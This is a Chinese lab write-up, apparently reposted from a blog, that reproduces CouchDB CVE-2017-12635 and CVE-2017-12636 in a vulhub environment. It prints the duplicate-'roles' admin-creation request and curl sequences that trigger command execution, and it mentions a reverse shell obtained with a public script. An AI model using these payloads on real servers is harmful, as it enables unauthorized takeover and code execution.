Couchdb垂直权限绕过到命令执行

0x00couchdb简介

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛。

0x01两个漏洞的关系及原理

CVE-2017-12635垂直越权:

CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

CVE-2017-12635问题在于Erlang和JavaScript对JSON中重复的键处理方式具有差异性。

例如:{"foo":"bar", "foo":"baz"}

Erlang处理:
>jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}").
{[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]}
JavaScript处理:
>JSON.parse("{\"foo\":\"bar\", \"foo\": \"baz\"}")
{foo: "baz"}

对于给定的键,Eralang解析器将存储两个值,而JavaScript只存储第二个值。但是在jiffy实现的时候,getter函数只返回第一个值

除了输入验证脚本之外,几乎所有关于身份验证和授权的重要逻辑都发生在CouchDB的Erlang部分,所以在原本的数据包中身份验证后再加上 "roles": [], 所发包内容变成如下所示时,就可以使当前用户赋予“_admin”身份。

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

CVE-2017-12636命令执行:

CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

该漏洞在于CouchDB自身的设计问题,CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理。

默认情况下,配置文件中已经设置了两个query_servers:

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

CouchDB在 query_server 中引入了外部的二进制程序来执行命令,如果可以更改这个配置,那么就可以利用数据库来执行命令,而CouchDB允许通过自身提供的 Restful API 接口动态修改保存配置属性,结合以上两点,就可以通过修改其 query_server 配置,来执行系统命令。

关系:

任意命令执行漏洞CVE-2017-12636需要登录用户才可触发,所以先要使用CVE-2017-12635垂直越权先增加一个管理员用户。

对于真正要getshell的话就得配合这两个漏洞才行。

0x02影响范围

版本小于1.7.0以及小于2.1.1

0x03环境搭建

利用vulhub一键搭建:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/

得先安装docker环境以及docker-compose还有vulhub。

我这里使用的Couchdb版本是 2.1.0版本的

0x04漏洞复现

先访问couchdb

发现如果要使用couchdb需要登录才能使用,rce漏洞也只能在登录的情况下才能触发。但是现在没有用户没有密码,我们就利用CVE-2017-12635先创建一个管理员用户。

1.创建管理员用户

利用PUT方法构造创建用户的数据包:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.1.160:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
?
{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "123456"
}

该请求包的意思是将以管理员角色创建用户名为vulhub,密码为123456的用户。

发包创建失败,因为session记录我们没有admin权限,所以会报错,那么绕过role验证,我们利用漏洞原理中介绍的方法,发送包含两个roles的数据包,来赋予用户 _admin 的权限.

在原有的数据包中我们添加一行 "roles": [], 数据包内容如下:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.1.160:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
?
{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "123456"
}

发送PUT请求包之后,从回显包来看创建管理员用户成功,账户为vulhub,密码为123456

发现登录成功

2.payload说明

小于1.7.0版本下的说明:

依次执行如下请求即可触发任意命令执行:

curl -X PUT ‘http://vulhub:[email protected]:5984/_config/query_servers/cmd‘ -d ‘"id >/tmp/success"‘
curl -X PUT ‘http://vulhub:[email protected]:5984/vultest‘
curl -X PUT ‘http://vulhub:[email protected]:5984/vultest/vul‘ -d ‘{"_id":"770895a97726d5ca6d70a22173005c7b"}‘
curl -X POST ‘http://vulhub:[email protected]:5984/vultest/_temp_view?limit=10‘ -d ‘{"language":"cmd","map":""}‘ -H ‘Content-Type:application/json‘

其中,vulhub:123456为管理员账号密码。

第一个请求是添加一个名字为cmdquery_servers,其值为"id >/tmp/success",这就是我们后面待执行的命令。

第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。

第四个请求就是在这个Database里进行查询,因为我将language设置为cmd,这里就会用到我第一步里添加的名为cmdquery_servers,最后触发命令执行。

1.7.0<x<=2.1.1版本下的说明:

Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。我们带上账号密码访问/_membership即可:

curl http://vulhub:[email protected]:5984/_membership

响应包的名字是[email protected],我们就修改[email protected]的配置:

curl -X PUT http://vulhub:[email protected]:5984/_node/[email protected]/_config/query_servers/cmd -d ‘"id >/tmp/success"‘

然后,与1.6.0的利用方式相同,我们先增加一个Database和一个Document:

curl -X PUT ‘http://vulhub:[email protected]:5984/vultest‘
curl -X PUT ‘http://vulhub:[email protected]:5984/vultest/vul‘ -d ‘{"_id":"770895a97726d5ca6d70a22173005c7b"}‘

Couchdb 2.x删除了_temp_view,所以我们为了触发query_servers中定义的命令,需要添加一个_view

curl -X PUT http://vulhub:[email protected]:5984/vultest/_design/vul -d ‘{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}‘ -H "Content-Type: application/json"

增加_view的同时即触发了query_servers中的命令。

3.任意命令执行

由于此漏洞命令执行将不会显示在客户端响应包中,因此我们利用id >/tmp/success命令来验证,最后看看靶机上的/tmp目录下是否创建的success文件且内容为id执行后的内容。

我们的couchdb是2.1.0版本的,因此,利用第二个的payload,

然后修改[email protected]的配置:

增加一个Database和一个Document:

添加view触发query_servers中定义的命令:

查看靶机上的/tmp目录下是否存在success文件,且内容是否为id执行的内容:

发现确实如此,实现了命令执行。

可我们还是需要一个交互式shell来达到真正的getshell。

4.利用exp脚本反弹shell

利用github上公布的exp脚本exp.py ,只需修改其中的target、command、version三个变量即可,version=1代表1.x的版本,version=2代表2.x的版本。

我们先在自己的vps上进行监听,监听端口为设置的7777

运行

反弹shell成功。

原文地址:https://www.cnblogs.com/-chenxs/p/12069971.html

时间: 2024-10-10 17:23:40

Couchdb垂直权限绕过到命令执行的相关文章

利用Vulnhub复现漏洞 - Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

漏洞原理:Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库.应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序). 在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12

Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

漏洞概述: 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞. 漏洞分析: include/global.func.php代码里: 1 2 3 4 5 6 7 8 9 10 11 12 13 function daddslashes($string, $force = 0) { !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC',

转:LNMP虚拟主机PHP沙盒绕过/命令执行(php exec命令被禁之后)

LNMP虚拟主机PHP沙盒绕过/命令执行 lnmp更新1.2版本,很多东西都升级了,很棒.不过还是发现一个BUG. LNMP是一款linux下nginx.php.mysql一键安装包. 下载:http://soft.vpser.net/lnmp/lnmp1.2.tar.gz 执行一个命令即可简单安装. 漏洞详情 LNMP是这样配置沙盒的: disable_functions,配置在 include/php.sh中: 其值为: 1 passthru,exec,system,chroot,scand

利用Vulnhub复现漏洞 - Couchdb 任意命令执行漏洞(CVE-2017-12636)

漏洞原理:Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库.应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序). 在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12

ImageMagick 命令执行分析

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩.切割.水印.格式转换等等.但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞. 国外的安全人员为此新建了一个网站: https://imagetragick.com/ ,不得不说,有些外国人蛮会玩的. 相对于之前的数个拥有『主页』的漏洞,这个洞确实不一般,确实是一个可以被利用的好洞,乌云主站上也爆出了数个被该漏洞影响的大厂商.我们先来分析一下它出现的原

命令执行的tip

先看一个例子:本地测试环境:php 5.4.45 + win <?php $command = 'dir '.$_POST['dir']; $escaped_command = escapeshellcmd($command); var_dump($escaped_command); file_put_contents('out.bat',$escaped_command); system('out.bat'); ?> 应该如何去绕过执行? escapeshellcmd http://php.

命令执行

1. 联想某站命令执行 开启Firefox,输入:http://106.37.234.18/a.php Webserver返回如下信息: Notice: Use of undefined constant a - assumed 'a' in C:\xampp\htdocs\a.php on line 1 Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1 Warning: system(): Cannot execute 

ACL最大权限及相关命令

先查看目录vampire的acl权限 1 [[email protected] home]# getfacl vampire 2 # file: vampire/ 3 # owner: vampire 4 # group: vampire 5 user::rwx 6 user:iaknehc:r-x 7 group::--- 8 mask::r-x 9 other::--- mask是用来指定最大有效权限的,如果给用户赋予了ACL权限,是需要和mask的权限"相与"才能得到用户的真正权

Metasploit溢出java RMI SERVER命令执行漏洞

利用java RMI SERVER命令执行漏洞,获得目标主机root权限. Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行. 一.利用nmap工具扫描目标主机 1.1使用nmap命令对目标主机进行扫描.单击桌面空白处,右键菜单选择"在终端中打开". 1.2在终端中输入命令"nmap –sV  192.168.1.3",对目标主机进行端口扫描,发现开放1099端口. 1.3在终端中输入命令"msfco